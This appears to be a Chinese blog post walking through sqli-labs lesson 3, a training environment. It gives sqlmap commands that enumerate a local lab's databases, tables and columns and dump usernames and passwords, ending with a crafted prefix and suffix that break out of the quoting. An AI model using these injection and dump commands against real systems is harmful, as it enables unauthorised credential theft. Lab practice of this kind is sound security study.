目录
类型
字符串转换错误,他又提示输入数字型ID,应该是把数字转换为了字符串
注入判断
![](https://i-blog.csdnimg.cn/blog_migrate/718bc2e97f38a873f9e9063e1da1a02e.png)
结合课程1,猜测sql语句为
select * from users where id = ('参数') LIMIT 0,1
-dbs枚举数据库
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" -dbs
![](https://i-blog.csdnimg.cn/blog_migrate/ecfdf5b3a82a861fbae87f14a6e65ce0.png)
![](https://i-blog.csdnimg.cn/blog_migrate/37f4dca5926bf98f8ebaaa9255546458.png)
-tables枚举表
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" --dbms mysql -D security -tables
![](https://i-blog.csdnimg.cn/blog_migrate/2d34975a7178f7c533010363c0351e75.png)
-columns枚举列
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" --dbms mysql -D security -T users -columns
![](https://i-blog.csdnimg.cn/blog_migrate/5b00e292ffdcad36787784cdb7dac352.png)
-dump枚举数据
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" --dbms mysql -D security -T users -C username,password -dump
![](https://i-blog.csdnimg.cn/blog_migrate/4b80056edc35c8ea90239cd0836552bb.png)
查看源代码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
今后的课程应该会更难,我将添加已知信息,比如,已知数据库为mysql,则使用--dbms,已知部分sql信息,例如本次课程的(),使用--prefix和--suffix,以及-o、--threads等进行优化,例如:
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-3/?id=1" --dbms mysql --prefix="')" --suffix=" AND ('abc'='abc'" -o -D security -T users -C username,password -dump
sqlmap使用参考下方文章中的sqlmap使用笔记。
更多内容查看:网络安全-自学笔记
有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。